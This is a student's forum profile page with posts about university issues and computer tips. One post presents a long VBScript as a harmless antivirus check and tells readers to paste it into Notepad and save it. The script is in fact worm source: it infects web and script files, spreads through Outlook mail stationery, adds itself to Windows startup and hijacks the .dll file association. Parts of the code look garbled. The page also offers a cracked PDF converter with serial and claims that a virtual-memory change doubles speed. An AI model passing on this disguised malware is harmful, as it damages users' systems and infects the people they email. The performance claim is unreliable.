Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Topics - ashiqbest012

Pages: 1 ... 10 11 [12]
BBA Discussion Forum / How to prevent copying in the examination?
« on: July 27, 2010, 12:18:42 AM »
As we are students, we try to copy in the examination hall. Teachers try to prevent it. It is a very natural.  Sometimes, I have seen our respective teachers check out our hands, calculator, scale, etc. after we enter the examination hall. I really appreciate it. However, students try to copy. Our teachers are so strict but a question arises, How do the students copy in the exam? As we are a student, so we know the using of the latest type of copying instrument nowadays, Such as, by mobile, iPod etc. Our university authority had banned carrying the mobile set, iPod etc. in the examination hall. That is really a good decision for our university.  

Anyway, DIU forum is basically for the student, Students share their ideas, opinion, advice, suggestion etc. with teachers and authority. So, I decided to give some suggestion to our authority. Before giving the suggestion, I want to thank to our respective authorities and teachers because my maximum number of suggestion has already granted by authority and teachers.

The problems and the solutions

1.   Dear Sir, as I have seen today, our purchasing committee has purchased a huge number of woods for making the chair. Well, I appreciate it but the color of the wood is slightly yellow or golden. So, we will get the opportunity to write on the chair. We may make the chair as an answer script. If the colour of the chair is black then there is no possibility of copying in the examination hall.  Our university has a huge number of chairs in black colour. If you really want prevention of copying in the examination, my suggestion is, you have to turn the colour of the chair into yellow or golden to black as early as possible.

2.   When our examination occurs, we can see our class room opened early before the teacher comes. So, we get the opportunity to copy on the wall or chair before the examiner comes.  Our authority should establish a rule that, when our examiner comes near by the class, our class room should be opened.

3.   When do we get a chance to write on the wall? Some students have a tendency to sit beside the wall. When we enter into the class for midterm or final examination, the chair should be arranged before by the authority. The seat must be arranged as if there are about 2 -3 feet distance between a student and wall around the whole class.

I strongly believe that, if our authority takes proper precautionary steps, this day is not so far, our university will be copying free university like politics free, smoking free and becoming the 1st ranking university of Bangladesh.  

I love my university

It is a really virus but you can check it only for checking your anti virus.

Just open an notepad ( Opening process of notepad just go to start menu from Taskbar > All programs > Accessories > Notepad  and paste following message). If your anti virus work properly, antivirus will block this notepad, Otherwise, your antivirus does not work properly. and finally save the notepad named by Ashiq.Bat

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
End Sub

Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
TmpStr = ReadTemp.ReadAll
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
Exit Function
End If
If TypeStr = "htt" Then
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
End If
End Function

Function KJChangeSub(CurrentString,LastIndexChar)
If LastIndexChar = 0 Then
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
SubE = 0
End If
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function

Function KJCreateMail()
On Error Resume Next
If InWhere = "html" Then
Exit Function
End If
ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
End If
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function

Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
Call KJAppendTo(WinPath & "web\Folder.htt","htt")
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
End Function

Function KJLikeIt()
If InWhere <> "html" Then
Exit Function
End If
ThisLocation = document.location
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
If FSO.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
End If
End Function

Function KJMailReg(RegStr,FileName)
On Error Resume Next
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function

Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & "\"
Exit Do
End If
End If
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
KJOboSub = CurrentString
End Function

Function KJPropagate()
On Error Resume Next
RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathValue)
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
For i=1 to 5
DiskDegree = KJOboSub(DiskDegree)
WsShell.RegWrite RegPathValue,DiskDegree
End Function

Function KJummageFolder(PathName)
On Error Resume Next
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini",PathName
FSO.CopyFile WinPath & "web\Folder.htt",PathName
End If
End Function

Function KJSetDim()
On Error Resume Next
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
InWhere = "vbs"
End If
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Set AppleObject = document.applets("KJ_guest")
Set WsShell = AppleObject.GetObject()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Dim OtherArr(3)
For i=0 To 3
OtherArr(i) = Int((9 * Rnd))
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
ThisText = "ExeString = """ & TempString & """"
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
WinPath = FSO.GetSpecialFolder(0) & "\"
If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"
End If
End Function


Dear my friend....

I scarifies it only for DIU forum member.

Let's start...

At first right click on MY computer..Then click on Properties

After click on advance and then settings.. follow the arrow..

Then, Click on "Advance", next click on "Change"

After, here you can find, Initial size and maximum size

You can see here my initial size is 2976 and Maximum size is 5952.

Now i just here increase the the initial size is 5952 and maximum size is  11904 .

Just double the number. in mathematics equation, 2976 X 2 = 5952 and Maxumum value is  5952X 2 = 11904

see the next pic

now click on "Set" Then "Ok" and Finally click "ok". and run your program..You must get double speed.

Suppose your initial size is 322 and max is 644. then you write on initial size 644 and maximum value is 1288.

If you face any prob just call me 01674566806

Thank you


 I start from a story that I took a course of Mrs. Fariha Tasnim about three semesters before. She had made a rule in the class that nobody allows in the class room without ID card. After the next class about 10-15 students did not carry ID card. So, Madam said them to leave the class. Those students escaped the class but some moments later they returned with ID card. Madam asked them were from, they collected their ID cards. Those students were laughing and replied that they collected their ID cards from their friends who were sitting on the counseling room or here there. Madam accepted them in the class that day. After that day, all the students carried ID card and completed that course with carrying ID cards.  

All the top ranking university’s students carry ID card, and the authority forces them to do it like Mrs. Fariha Tasnim. I know some university whose students have to carry ID card. These universities are A.I.U.B, ASA, N.S.U, B.U, etc.

It is nothing but the reflection of our identity. When students go to University from the house, most the people take at glance at student’s id card. It’s our nature if we see any id card, we try to read it.                                                      So, I just want to say, isn’t it the good advertisement of our university?

Sometimes, I have seen in our university that our authority tried to establish a rule to carry student’s ID card. The security guard standing beside the lift, said to the student to hang on their ID card.  However, our authority failed to make to establish this system.

As I can see, in our examination hall, nobody allows in the class room without ID card. Please establish it all the class.

I advise to the authority through Head of the Department and the entire concern person, please suggest  all the teacher’s not to allow any single students allowed in the class room without ID card.

I love my Parents.
I love my Country.
I love my University.

Thank you

All the students of D.I.U need some dustbin (named "use me") at the"counseling room and corridor ". Some of the students always have their lunch in this room. So, they make the counseling room dirty, especially they throw the packet, paper, waste etc. here and there.

Daffodil International University is our university. So, I will raise all the problem about D.I.U. Finally, I want to see our university number one  raking university.

Ashiq Hossain
21st batch

BBA Discussion Forum / Water crisis at Prince Plaza, DIU
« on: July 16, 2010, 12:48:43 AM »
Dear Sir,

Water crisis  remains at Prince Plaza for a long time. Most of the time in a day, we do not get sufficient drinking water and also do not get water at fresh room. It is really horrible. I expect, the authority should take proper steps.

Thank You
Ashiq Hossain

As you heard, PDF to word converter, most of the time we download pdf file through the internet such as annual report, article etc. But we cannot modify the pdf file totally. But this software make your work easy. It will totally copy from PDF file to Word file. Do not You believe it? just download it and see the magic.. It's a full version.

Just click the following link and see the magic...

For serial Number click the following link

                                                                                                  Ashiq Hossain
                                                                                        Student of BBA Department

Islam & Science / Holy Quran translated in Bangla and English
« on: July 06, 2010, 02:48:55 PM »
Dear my friends,
i have uploaded a holy Quran software. You can read in the holy Quran in Arabic as well as bangla and English.  This is very essential for everyone. The software is only 1.86 MB. It's very little. Thank You
You can download it from the following link

Just click there.

                                                                                                      Ashiq Hossain                                                                                                       083-11-558
                                                                                           student of BBA department

BBA Discussion Forum / A request from B.B.A department student
« on: July 06, 2010, 10:17:41 AM »
This is Mr.Ashiq Hossain. I am one of the student of B.B.A department at D.I.U. At first, thank you to CDC and DIUBEC for arranging Business Festival-2010. There are different number of distinguished person has come to our university and gave us advice to make our self to be leader. I and all of my friends enjoyed it and attended all of the workshop and seminar. Thank you again for this .

I have some friend who study some top ranking university. They also arrange Business Festival yearly and they also visit a different types of industry or firm or bank monthly to learn something and see how to work to the  manager and also see they how to control to the firm/ employee? We have a very little knowledge about firm's activity. We do not have practical knowledge about firm's activity. Our university does not have this types of facilities to visit different types of firm. Our university should take this types of step. Then, we understand the working place, job field. In this way our university will be famous like NSU, EWU etc. We can make better job field than other university.

We want to see to our university will be 1st ranking university like 1st ranking web activities. This is my first post. If i make any mistake just forgive me. thank you. I am waiting for concern person's reply.

                                                                                                                                        Ashiq Hossain

Pages: 1 ... 10 11 [12]